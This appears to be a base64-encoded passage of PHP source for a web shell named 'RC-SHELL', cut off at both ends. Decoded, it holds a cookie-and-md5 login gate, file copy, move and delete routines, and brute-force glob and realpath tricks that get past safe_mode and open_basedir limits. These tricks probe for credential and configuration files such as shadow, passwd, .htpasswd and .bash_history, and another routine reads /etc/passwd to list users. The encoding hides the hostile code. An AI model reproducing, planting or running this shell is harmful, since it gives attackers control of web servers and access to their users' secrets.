ZXI6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyB9DQoudGdlbmVyaWMsIC50ZWRpdCwgLnR4bWFpbCB7IGJvcmRlcjogMXB4IHNvbGlkICNjY2NjY2M7IG1hcmdpbi10b3A6IDA7IG1hcmdpbi1ib3R0b206IDFweDsgd2lkdGg6IDk5JTsgfQ0KLnRnZW5lcmljIHsgaGVpZ2h0OiAxNTBweDsgfQ0KLnRlZGl0IHsgaGVpZ2h0OiAzMDBweDsgdGV4dC1hbGlnbjogbGVmdDsgfQ0KLnR4bWFpbCB7IG1hcmdpbi10b3A6IDFweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwcHg7IH0NCi50c3FsMSwgLnRzcWwyIHsgYm9yZGVyOiAxcHggc29saWQgI0NDQ0NDQzsgbWFyZ2luLWxlZnQ6IDFweDsgd2lkdGg6IDIwNXB4OyBoZWlnaHQ6IDYwcHg7IH0NCi50c3FsMiB7IHdpZHRoOiA5OSUgIWltcG9ydGFudDsgfQ0KLnRpbmogeyBib3JkZXI6IDFweCBzb2xpZCAjQ0NDQ0NDOyBtYXJnaW46IDFweDsgd2lkdGg6IDMwMHB4OyBoZWlnaHQ6IDQ2cHg7IH0NCi50YWhleCB7IHdpZHRoOiA5OSU7IG1hcmdpbi1ib3R0b206MXB4O30NCi50aGV4MSwgLnRoZXgyLCAudGhleDMgeyBib3JkZXI6IDFweCBzb2xpZCAjQ0NDQ0NDOyBwYWRkaW5nLXRvcDoxcHg7IHBhZGRpbmctbGVmdDozcHg7IGZvbnQ6IDEzcHggIm1vbm9zcGFjZSIsIG1vbm9zcGFjZTsgbGluZS1oZWlnaHQ6IDIwcHg7IHRleHQtYWxpZ246IGxlZnQ7IH0NCi50aGV4MSB7IGNvbG9yOiAjMDAwMDAwOyB9DQoudGhleDIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGOyBib3JkZXItbGVmdDogMDsgYm9yZGVyLXJpZ2h0OiAwOyB9DQoudGhleDMgeyBjb2xvcjogIzAwMDAwMDt9DQouaWRpbWcsIC5pZmltZyB7ICcuejB1KCczJykuJyBtYXJnaW4tcmlnaHQ6MnB4OyB3aWR0aDogMTZweDsgaGVpZ2h0OiAxNnB4OyB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyB9DQouaWRpbWcgeyAnLnoyeSh6OXEoJ2lkaXJiZzEnKSwgejlxKCdpZGlyYmcyJyksMSkuJyBib3JkZXI6IDFweCBzb2xpZCAnLno5cSgnaWRpcmJvcmRlcicpLic7ICB9DQouaWZpbWcgeyAnLnoyeSh6OXEoJ2lmaWxlYmcxJyksIHo5cSgnaWZpbGViZzInKSkuJyBib3JkZXI6IDFweCBzb2xpZCAnLno5cSgnaWZpbGVib3JkZXInKS4nOyB9DQouaWRpbWc6aG92ZXIsIC5pZmltZzpob3ZlciB7IGN1cnNvcjogcG9pbnRlcjsgfQ0KLnNlbGVjdG9yLCAuZGl2bHMgeyBtYXgtaGVpZ2h0OjM1MHB4OyBoZWlnaHQ6MzUwcHggIWltcG9ydGFudDsgb3ZlcmZsb3c6IGF1dG87IH0NCi5zZWxlY3RvciB7IGJvcmRlci10b3A6IDFweCBzb2xpZCAjRkZGRkZGOyB9DQouc2Nyb2xsIHsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGJvcmRlcjowOyBtYXJnaW46MDsgcGFkZGluZzowOyBtYXgtd2lkdGg6IDEwMjRweDsgbWF4LWhlaWdodDozNTBweDsgb3ZlcmZsb3cteTogYXV0bzsgb3ZlcmZsb3cteDogYXV0bzsgdGV4dC1hbGlnbjpsZWZ0OyB9DQouZHdpZHRoIHsgd2lkdGg6IDk5JTsgfQ0KLmJhcmJnIHsgJy56MnkoIiNkZGRkZGQiLCIjZmZmZmZmIikuJyBib3JkZXI6MXB4IHNvbGlkICNjY2NjY2M7IG1hcmdpbi1yaWdodDogNXB4OyBwYWRkaW5nOjA7IHdpZHRoOjEwMHB4OyBoZWlnaHQ6N3B4OyB2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IGZsb2F0OmxlZnQ7IH0NCi5iYXJmaWwgeyAnLnoyeSgiIzg1RkYwMCIsIiM0NjlGMEIiKS4nOyBoZWlnaHQ6N3B4OyBwYWRkaW5nOjA7IH0NCicpLicNCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keScuKCgkYWN0PT0iY21kIik/JyBvbmxvYWQ9ImRvY3VtZW50LmNvbW1hbmQuY21kLmZvY3VzKCk7Iic6JycpLic+Jy4oQGluX2FycmF5KCRhY3QsIGFycmF5KCdscycsJ3NlYXJjaCcsJ2Z0cCcpKT8gejNiKCk6JycpLigkYWN0PT0iZiImJkBpc3NldCgkZnQpJiYkZnQ9PSJlZGl0Ij96MXooKTonJykuJw0KJy56N2coKCRsb2dpbiA/ICcxJyA6ICcwJykpLno2ZigpLno3aigpOyB9IGZ1bmN0aW9uIHowZygkYywkcywkdCl7IHJldHVybiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdGl0bGU9IicuJHQuJyIgdmFsdWU9IiZuYnNwOyIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgJy56OXEoInRvcGJvcmRlcjEiKS4nOyBiYWNrZ3JvdW5kOiAnLiRjLic7ICB3aWR0aDogJy4kcy4ncHg7IGhlaWdodDogJy4kcy4ncHg7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IHZlcnRpY2FsLWFsaWduOiBpbmhlcml0ICFpbXBvcnRhbnQ7IGN1cnNvcjogcG9pbnRlcjsiPic7IH0gZnVuY3Rpb24gejF4KCR0eXBlKXsgcmV0dXJuICc8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iJy4oJHR5cGU9PSdkJz8naWRpbWcnOidpZmltZycpLiciIHZhbHVlPSImbmJzcDsiPic7IH0gZnVuY3Rpb24gejB1KCRpKXsgcmV0dXJuICcgLW1vei1ib3JkZXItcmFkaXVzOiAnLiRpLidweDsgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAnLiRpLidweDsgYm9yZGVyLXJhZGl1czogJy4kaS4ncHg7JzsgfSBmdW5jdGlvbiB6MnkoJHMsJGUsJGQ9JycpeyBnbG9iYWwgJG5vZ3JhZGllbnQ7IGlmKEBpc3NldCgkbm9ncmFkaWVudCkmJiRub2dyYWRpZW50KSByZXR1cm4gJ2JhY2tncm91bmQ6ICcuKCgkZD09JycpPyRzOiRlKS4nOyc7IHJldHVybiAnYmFja2dyb3VuZDogJy4oKCRkPT0nJyk/JHM6JGUpLic7DQpmaWx0ZXI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5ncmFkaWVudChzdGFydENvbG9yc3RyPVwnJy4kcy4nXCcsIGVuZENvbG9yc3RyPVwnJy4kZS4nXCcpOw0KYmFja2dyb3VuZDogLXdlYmtpdC1ncmFkaWVudChsaW5lYXIsIGxlZnQgdG9wLCBsZWZ0IGJvdHRvbSwgZnJvbSgnLiRzLicpLCB0bygnLiRlLicpKTsNCmJhY2tncm91bmQ6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgJy4kcy4nLCAnLiRlLicpOw0KYmFja2dyb3VuZDogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgJy4kcy4nLCAnLiRlLicpOw0KJzsgfSBmdW5jdGlvbiB6M2ooJGxvZ2luPTApeyAkdGM9Jyc7IGZvcmVhY2goejd6KDUsJ3NraW5zJykgYXMgJHMpICR0YyAuPSB6NXgoYXJyYXkoJ2FjdCcsJ2QnLCdjb2xvcl9za2luJz0+JHMpLCB6NHkoejBnKHo5cSgidG9wYmcxIiksIjExIixAc3RydG91cHBlcigkcykpKS4iICIpOyBlY2hvICghJGxvZ2luID8gejdhKHo3dSh6OWMoJ1JDLVNIRUxMIHYnLno3eignMCcpLicgOiAnLiJQQUdFIEdFTkVSQVRFRCBJTiAiLihAcm91bmQoejEwZSgpLXN0YXJ0LDQpKS4iIFNFQ09ORFMiLCc0JykuejZ6KCR0YywnNCcpKSwnMicpOicnKS56N2YoKS56N3koKS56MTBxKCkuJzwvYm9keT48L2h0bWw+JzsgZXhpdCgpOyB9IGZ1bmN0aW9uIHoxYSgkbiwgJHY9JycsICRlID0gMCwgJHAgPSAnJywgJGQ9JycsICRzPWZhbHNlLCAkaD1mYWxzZSl7ICRfQ09PS0lFWyRuXSA9ICR2OyByZXR1cm4gQHNldGNvb2tpZSgkbiwgJHYsICRlLCAkcCwgJGQsICRzLCAkaCk7IH0gZnVuY3Rpb24gejFsKCRuKXsgaWYoQGlzc2V0KCRfQ09PS0lFWyRuXSkpIHVuc2V0KCRfQ09PS0lFWyRuXSk7IHJldHVybiBAc2V0Y29va2llKCRuLCBOVUxMLCAtMSk7IH0gZnVuY3Rpb24gejFoKCRuKXsgcmV0dXJuIChAaXNzZXQoJF9DT09LSUVbJG5dKSA/ICRfQ09PS0lFWyRuXSA6JycpOyB9IGZ1bmN0aW9uIHowaigpeyBmb3JlYWNoKGFycmF5KCdiY29weScsJ2JjdXQnKSBhcyAkdCl7IGdsb2JhbCAkeyR0fTsgaWYoQGNvdW50KCR7JHR9KT4wKXsgJF9TRVNTSU9OWyR0XT0keyR0fTsgJGM9QHNlcmlhbGl6ZSgkeyR0fSk7IHoxYSgkdCwgJGMpOyB9IGVsc2UgeyB6MGkoJHQpOyB6MWwoJHQpOyB9IH0gfSBmdW5jdGlvbiB6MWQoKXsgZm9yZWFjaChhcnJheSgnYmNvcHknLCdiY3V0JykgYXMgJHQpeyBnbG9iYWwgJHskdH07IGlmKEBpc3NldCgkX1NFU1NJT05bJHRdKSl7ICR7JHR9PSRfU0VTU0lPTlskdF07IH0gZWxzZWlmKCgkYz16MWgoJHQpKSE9JycpIHsgJHskdH09QHVuc2VyaWFsaXplKCRjKTsgfSBlbHNlIHsgJHskdH09YXJyYXkoKTsgfSB9IH0gZnVuY3Rpb24gejBkKCRhPTEpeyBmb3JlYWNoKGFycmF5KCdiY29weScsJ2JjdXQnKSBhcyAkdCl7IGdsb2JhbCAkeyR0fTsgaWYoQGlzc2V0KCR7JHR9KSYmJGEpIHVuc2V0KCR7JHR9KTsgejBpKCR0KTsgejFsKCR0KTsgfSB9IGZ1bmN0aW9uIHoxbygkZiwkdCl7IGdsb2JhbCAkYmNvcHksICRiY3V0OyB6MGQoMCk7ICR1PSgoJHQ9PSdiY29weScpID8gJ2JjdXQnOiAnYmNvcHknKTsgZm9yZWFjaCgkeyR1fSBhcyAkaz0+JHYpeyBpZigkeyR1fVska109PSRmKSB1bnNldCgkeyR1fVska10pOyB9IGlmKCFAaW5fYXJyYXkoJGYsICR7JHR9KSl7ICR7JHR9W109JGY7IH0gZWxzZSB7IGZvcmVhY2goJHskdH0gYXMgJGs9PiR2KXsgaWYoJHskdH1bJGtdPT0kZikgdW5zZXQoJHskdH1bJGtdKTsgfSB9IH0gZnVuY3Rpb24gejRnKCl7IGdsb2JhbCAkY29sb3Jfc2tpbjsgJGw9ejd6KCcxJyk7ICR6dT16MWgoJ3p1Jyk7ICR6cD16MWgoJ3pwJyk7IGlmKCRsWyd1c2VfYXV0aCddICYmIHo3ZSgnbWQ1JykpeyAkcz0kZT0wOyBpZihAaXNzZXQoJF9TRVNTSU9OWydvayddKXx8KCR6dT09JGxbJ21kNV91c2VyJ10gJiYgJHpwPT0kbFsnbWQ1X3Bhc3MnXSkpeyAkcz0xOyB9IGVsc2VpZihAaXNzZXQoJF9QT1NUWyd6dSddKSAmJiBAaXNzZXQoJF9QT1NUWyd6cCddKSkgeyBpZihAbWQ1KCRfUE9TVFsnenUnXSk9PSRsWydtZDVfdXNlciddICYmIEBtZDUoJF9QT1NUWyd6cCddKT09JGxbJ21kNV9wYXNzJ10peyAkX1NFU1NJT05bJ29rJ109MTsgejFhKCd6dScsIEBtZDUoJF9QT1NUWyd6dSddKSk7IHoxYSgnenAnLCBAbWQ1KCRfUE9TVFsnenAnXSkpOyAkcz0xOyB9IGVsc2UgeyAkZT0xOyB9IH0gaWYoISRzKXsgJGNvbG9yX3NraW49ejd6KCc1JywnZGVmYXVsdF9za2luJyk7IHozeigxKTsgZWNobyB6OWsoKS56N2Eoejd1KHo5Yyh6N24oejl5KCIxIikpKS56OWMoejZ1KCd6dScsJycpKSkuejd1KHo5Yyh6N24oejl5KCIyIikpKS56OWMoejZwKCd6cCcsJycpKSkuejd1KHo5YygnJykuejljKHo4Yih6OXkoIjMiKSwiNyIpKSkpLno5bCgpOyB6M2ooMSk7IGV4aXQoKTsgfSB9IH0gZnVuY3Rpb24gejBpKCRuKXsgaWYoQGlzc2V0KCRfU0VTU0lPTlskbl0pKSB1bnNldCgkX1NFU1NJT05bJG5dKTsgfSBmdW5jdGlvbiB6MXQoJG4peyByZXR1cm4gKEBpc3NldCgkX1NFU1NJT05bJG5dKSA/ICRfU0VTU0lPTlskbl0gOiBmYWxzZSk7IH0gZnVuY3Rpb24gejR3KCl7IHoxbCgnenUnKTsgejFsKCd6cCcpOyB6MGkoJ29rJyk7IGlmKEBjb3VudCgkX1NFU1NJT04pPjApeyBmb3JlYWNoKCRfU0VTU0lPTiBhcyAkaz0+JHYpIHowaSgkayk7IH0gQHNlc3Npb25fZGVzdHJveSgpOyB9IGZ1bmN0aW9uIHo3YigkZil7IGlmKCF6MXkoJGYpKXsgcmV0dXJuICcwJzsgfSBlbHNlaWYoIXowbigkZikpIHsgcmV0dXJuICcxJzsgfSBlbHNlIHJldHVybiAnMic7IH0gZnVuY3Rpb24gejVnKCRmKXsgJGM9YXJyYXkoInJlZCIsIndoaXRlIiwiZ3JlZW4iKTsgcmV0dXJuICRjWyh6N2IoJGYpKV07IH0gZnVuY3Rpb24gejZnKCRmKXsgJGM9YXJyYXkoIm5yIiwibnciLCJydyIpOyByZXR1cm4gJGNbKHo3YigkZikpXTsgfSBmdW5jdGlvbiB6N3goJHMpeyBpZighQGlzX251bWVyaWMoJHMpKSByZXR1cm4gJzAgQic7ICRtPTEwMjQ7ICR1PUBleHBsb2RlKCcgJywgJ0IgS0IgTUIgR0IgVEIgUEInKTsgZm9yKCRpPTA7ICRzPiRtOyAkaSsrKXsgJHMgLz0gJG07IH0gcmV0dXJuIEByb3VuZCgkcywgMikuJyAnLiR1WyRpXTsgfSBmdW5jdGlvbiB6N2MoJGksJGM9MSl7IGZvcmVhY2goejZtKCkgYXMgJHIpeyBpZihAc3Ryc3RyKHo5YigkciksJGkpKSByZXR1cm4gejh3KEBleHBsb2RlKCRpLHo5YigkcikpLCRjKTsgfTt9IGZ1bmN0aW9uIHowZSgkZXJybm8sJGVycnN0ciwkZXJyZmlsZSwkZXJybGluZSl7IGdsb2JhbCAkc2FmZURpckFyciwkYywkaTsgcHJlZ19tYXRjaCgiI1NBRkVccytNT0RFXHMrUmVzdHJpY3Rpb25ccytpblxzK2VmZmVjdCguKilub3RccythbGxvd2VkXHMrdG9ccythY2Nlc3NccysoLiopXHMrb3duZWRccytieVxzK3VpZCguKikjIiwkZXJyc3RyLCRvKXx8cHJlZ19tYXRjaCgiI29wZW5fYmFzZWRpclxzK3Jlc3RyaWN0aW9uKC4qKUZpbGVccypcKCguKilcKVxzK2lzXHMrbm90IyIsJGVycnN0ciwkbyk7IGlmKCRvKXsgJHNhZmVEaXJBcnJbJGNdPSRvWzJdOyAkYysrOyB9IH0gZnVuY3Rpb24gejN3KCRkaXIpeyBnbG9iYWwgJHdpbiwkc2FmZURpckFycjsgaWYoejdlKCdnbG9iJykpeyAkZXJyb3JfcmVwb3J0aW5nPUBpbmlfZ2V0KCdlcnJvcl9yZXBvcnRpbmcnKTsgQGVycm9yX3JlcG9ydGluZyhFX1dBUk5JTkcpOyBAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLDEpOyAkcm9vdD0iLyI7IGlmKCRkaXIpICRyb290PSRkaXI7ICRjPTA7ICRzYWZlRGlyQXJyPWFycmF5KCk7IEBzZXRfZXJyb3JfaGFuZGxlcigiejBlIik7ICRjaGFycz0iXy0uMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOyBmb3IoJGk9MDskaTxAc3RybGVuKCRjaGFycyk7JGkrKyl7ICRwYXRoPSJ7JHJvb3R9Ii4oKEBzdWJzdHIoJHJvb3QsLTEpIT0iLyIpPyIvIjpOVUxMKS4ieyRjaGFyc1skaV19IjsgJHByZXZEPSRzYWZlRGlyQXJyW0Bjb3VudCgkc2FmZURpckFyciktMV07IEBnbG9iKCRwYXRoLiIqIik7IGlmKCRzYWZlRGlyQXJyW0Bjb3VudCgkc2FmZURpckFyciktMV0hPSRwcmV2RCl7IGZvcigkaj0wOyRqPEBzdHJsZW4oJGNoYXJzKTskaisrKXsgJHBhdGg9Inskcm9vdH0iLigoQHN1YnN0cigkcm9vdCwtMSkhPSIvIik/Ii8iOk5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX0iOyAkcHJldkQyPSRzYWZlRGlyQXJyW0Bjb3VudCgkc2FmZURpckFyciktMV07IEBnbG9iKCRwYXRoLiIqIik7IGlmKCRzYWZlRGlyQXJyW0Bjb3VudCgkc2FmZURpckFyciktMV0hPSRwcmV2RDIpeyBmb3IoJHA9MDskcDxAc3RybGVuKCRjaGFycyk7JHArKyl7ICRwYXRoPSJ7JHJvb3R9Ii4oKEBzdWJzdHIoJHJvb3QsLTEpIT0iLyIpPyIvIjpOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsgJHByZXZEMz0kc2FmZURpcmFycltAY291bnQoJHNhZmVEaXJBcnIpLTFdOyBAZ2xvYigkcGF0aC4iKiIpOyBpZigkc2FmZURpckFycltAY291bnQoJHNhZmVEaXJBcnIpLTFdIT0kcHJldkQzKXsgZm9yKCRyPTA7JHI8QHN0cmxlbigkY2hhcnMpOyRyKyspeyAkcGF0aD0ieyRyb290fSIuKChAc3Vic3RyKCRyb290LC0xKSE9Ii8iKT8iLyI6TlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfXskY2hhcnNbJHJdfSI7IEBnbG9iKCRwYXRoLiIqIik7IH0gfSB9IH0gfSB9IH0gJHNhZmVEaXJBcnI9QGFycmF5X3VuaXF1ZSgkc2FmZURpckFycik7IGZvcmVhY2goJHNhZmVEaXJBcnIgYXMgJGl0ZW0pIGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoInskaXRlbX0iKS4iXHJcbiI7IEBlcnJvcl9yZXBvcnRpbmcoJGVycm9yX3JlcG9ydGluZyk7IH0gfSBmdW5jdGlvbiB6M3koJGRpcil7IGlmKHo3ZSgncmVhbHBhdGgnKSl7IGdsb2JhbCAkd2luLCRzYWZlRGlyQXJyOyAkY2hhcnNfcmxwaD0iXy0uMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOyAkcHJlc2V0c19ybHBoID0gYXJyYXkoJ2luZGV4LnBocCcsJy5odGFjY2VzcycsJy5odHBhc3N3ZCcsJ2h0dHBkLmNvbmYnLCd2aG9zdHMuY29uZicsJ2NmZy5waHAnLCdjb25maWcucGhwJywnY29uZmlnLmluYy5waHAnLCdjb25maWcuZGVmYXVsdC5waHAnLCdjb25maWcuaW5jLnBocCcsJ3NoYWRvdycsJ3Bhc3N3ZCcsJy5iYXNoX2hpc3RvcnknLCcubXlzcWxfaGlzdG9yeScsJ21hc3Rlci5wYXNzd2QnLCd1c2VyJywnYWRtaW4nLCdwYXNzd29yZCcsJ2FkbWluaXN0cmF0b3InLCdwaHBNeUFkbWluJywnc2VjdXJpdHknLCdwaHAuaW5pJywnY2Ryb20nLCdyb290JywnbXkuY25mJywncHVyZWZ0cGQuY29uZicsJ3Byb2Z0cGQuY29uZicsJ2Z0cGQuY29uZicsJ3Jlc29sdi5jb25mJywnbG9naW4uY29uZicsJ3NtYi5jb25mJywnc3lzY3RsLmNvbmYnLCdzeXNsb2cuY29uZicsJ2FjY2Vzcy5jb25mJywnYWNjb3VudGluZy5sb2cnLCdob21lJywnaHRkb2NzJywnYWNjZXNzJywnYXV0aCcsJ2Vycm9yJywnYmFja3VwJywnZGF0YScsJ2JhY2snLCdzeXNjb25maWcnLCdwaHBiYicsJ3BocGJiMicsJ3ZidWxsZXRpbicsJ3ZidWxsZXQnLCdwaHBudWtlJywnY2dpLWJpbicsJ2h0bWwnLCdyb2JvdHMudHh0JywnYmlsbGluZycpOyBpZighJGRpcil7JGRpcj0nL2V0Yy8nO307ICRlbmRfcmxwaD0nJzsgJG5fcmxwaD0nMyc7ICRjPTA7ICRzYWZlRGlyQXJyPWFycmF5KCk7ICRybHBBcnI9YXJyYXkoKTsgJGVycm9yX3JlcG9ydGluZz1AaW5pX2dldCgnZXJyb3JfcmVwb3J0aW5nJyk7IEBlcnJvcl9yZXBvcnRpbmcoRV9XQVJOSU5HKTsgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwxKTsgQHNldF9lcnJvcl9oYW5kbGVyKCJ6MGUiKTsgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuJy8nKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30gaWYoJGVuZF9ybHBoIT0nJyAmJiAkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4nLycuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iOyRybHBBcnJbXT0kcmVhbHBhdGg7IH0gZm9yZWFjaCgkcHJlc2V0c19ybHBoIGFzICRwcmVzZXRfcmxwaCl7IGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLicvJy4kcHJlc2V0X3JscGguJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iOyAkcmxwQXJyW109JHJlYWxwYXRoOyB9IH0gZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJGkrKyl7IGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjsgJHJscEFycltdPSRyZWFscGF0aDsgfSBpZigkbl9ybHBoPD0xKXtjb250aW51ZTt9OyBmb3IoJGo9MDsgJGogPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkaisrKXsgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7ICRybHBBcnJbXT0kcmVhbHBhdGg7IH0gaWYoJG5fcmxwaDw9Mil7Y29udGludWU7fTsgZm9yKCR4PTA7ICR4IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHgrKyl7IGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7ICRybHBBcnJbXT0kcmVhbHBhdGg7IH0gaWYoJG5fcmxwaDw9Myl7Y29udGludWU7fTsgZm9yKCR5PTA7ICR5IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHkrKyl7IGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjsgJHJscEFycltdPSRyZWFscGF0aDsgfSBpZigkbl9ybHBoPD00KXtjb250aW51ZTt9OyBmb3IoJHo9MDsgJHogPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkeisrKXsgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19eyRjaGFyc19ybHBoWyR4XX17JGNoYXJzX3JscGhbJHldfXskY2hhcnNfcmxwaFskel19Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7ICRybHBBcnJbXT0kcmVhbHBhdGg7IH0gaWYoJG5fcmxwaDw9NSl7Y29udGludWU7fTsgZm9yKCR3PTA7ICR3IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHcrKyl7IGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5XX17JGNoYXJzX3JscGhbJHpdfXskY2hhcnNfcmxwaFskd119Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7ICRybHBBcnJbXT0kcmVhbHBhdGg7IH0gfSB9IH0gfSB9IH0gJHNhZmVEaXJBcnI9QGFycmF5X3VuaXF1ZSgkc2FmZURpckFycik7IGZvcmVhY2goJHNhZmVEaXJBcnIgYXMgJGl0ZW0peyBpZighQGluX2FycmF5KCRpdGVtLCAkcmxwQXJyKSkgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIlxyXG4iOyB9IEBlcnJvcl9yZXBvcnRpbmcoJGVycm9yX3JlcG9ydGluZyk7IH0gfSBmdW5jdGlvbiB6NGgoJGQsICR0LCRiPTApeyAkZD16MWooJGQpOyAkdD16MWooJHQpOyBpZihAaXNfZGlyKCRkKSkgeyBpZighejRyKCR0KSl7IEBta2RpcigkdCk7IEBjaG1vZCgkdCwwNzU1KTsgfSAkaD1Ab3BlbmRpcigkZCk7IHdoaWxlKCgkbz1AcmVhZGRpcigkaCkpIT09ZmFsc2UpeyBpZigoJG8hPSIuIikgJiYgKCRvIT0iLi4iKSl7IGlmKEBpc19kaXIoejFrKCRkKS4kbykpeyB6NGgoejFrKCRkKS4kbywgejFrKCR0KS4kbywgJGIpOyB9IGVsc2UgeyBAY29weSh6MWsoJGQpLiRvLCB6MWsoJHQpLiRvKTsgaWYoJGIpeyBAdW5saW5rKHoxaygkZCkuJG8pOyB9IH0gfSB9IEBjbG9zZWRpcigkaCk7IGlmKCRiKXsgQHJtZGlyKCRkKTsgfSByZXR1cm4gdHJ1ZTsgfSBlbHNlaWYoQGlzX2ZpbGUoJGQpKXsgaWYoQGlzX2RpcigkdCkpeyAkdD16MWsoJHQpLnoybCgkZCk7IH0gaWYoJGIpeyBpZihAY29weSgkZCwgJHQpKSByZXR1cm4gQHVubGluaygkZCk7IH0gZWxzZSB7IHJldHVybiBAY29weSgkZCwgJHQpOyB9IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGZ1bmN0aW9uIHo4cigkZCwkdCl7IHJldHVybiB6NGgoJGQsJHQpOyB9IGZ1bmN0aW9uIHo4cCgkZCwkdCl7IHJldHVybiB6NGgoJGQsJHQsMSk7IH0gZnVuY3Rpb24gejhhKCRkKXsgJGQ9ejFrKCRkKTsgJGg9QG9wZW5kaXIoJGQpOyB3aGlsZSgoJG89QHJlYWRkaXIoJGgpKSE9PWZhbHNlKXsgaWYoJG8hPSIuIiAmJiAkbyE9Ii4uIiAmJiAhejRxKCRvKSl7IGlmKCF6NGooJGQuJG8pKXsgQHVubGluaygkZC4kbyk7IH1lbHNleyB6OGEoJGQuJG8pOyB9IH0gfSBAY2xvc2VkaXIoJGgpOyBAcm1kaXIoJGQpOyByZXR1cm4gIXo0aigkZCk7IH0gZnVuY3Rpb24gejhzKCRvKXsgJG89ejFqKCRvKTsgaWYoQHo0aigkbykpeyByZXR1cm4gejhhKCRvKTsgfSBlbHNlaWYoejRlKCRvKSl7IHJldHVybiBAdW5saW5rKCRvKTsgfSBlbHNleyByZXR1cm4gZmFsc2U7IH0gfSBmdW5jdGlvbiB6OHUoKXsgJGg9KEBlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSl8fEBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKT09J29mZic/MDoxKTsgJHU9J2h0dHAnLigoJGg/J3MnOicnKS4nOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOyAkbT0oQGVtcHR5KCRfU0VSVkVSWydQQVRIX0lORk8nXSk/J1FVRVJZX1NUUklORyc6J1BBVEhfSU5GTycpOyAkcz0kbT09J1FVRVJZX1NUUklORyc/Jz8nOicnOyByZXR1cm4gJHUuJHMuKEBpc3NldCgkX1NFUlZFUlskbV0pPyRfU0VSVkVSWyRtXTonJyk7IH0gZnVuY3Rpb24gejZuKCl7ICR1PWFycmF5KCk7ICRwPXo5bygiL2V0Yy9wYXNzd2QiKTsgaWYoJHApeyAkbGw9QGV4cGxvZGUoIlxuIiwkcCk7IGZvcmVhY2goQGFycmF5X3VuaXF1ZSgkbGwpIGFzICRsKXsgJHM9QGV4cGxvZGUoIjoiLCRsKTsgaWYoQGlzc2V0KCRzWzBdKSAmJiBAaXNzZXQoJHNbMl0pJiYgQGlzc2V0KCRzWzNdKSAmJiBAaXNzZXQoJHNbNV0pJiYgQGlzc2V0KCRzWzZdKSAmJiAhQGlzc2V0KCR1WyRzWzBdXSkpeyAkdVskc1swXV09YXJyYXkoJHNbMl0sICRzWzNdLCAkc1s1XSwgJHNbNl0pOyB9IH0gfSBlb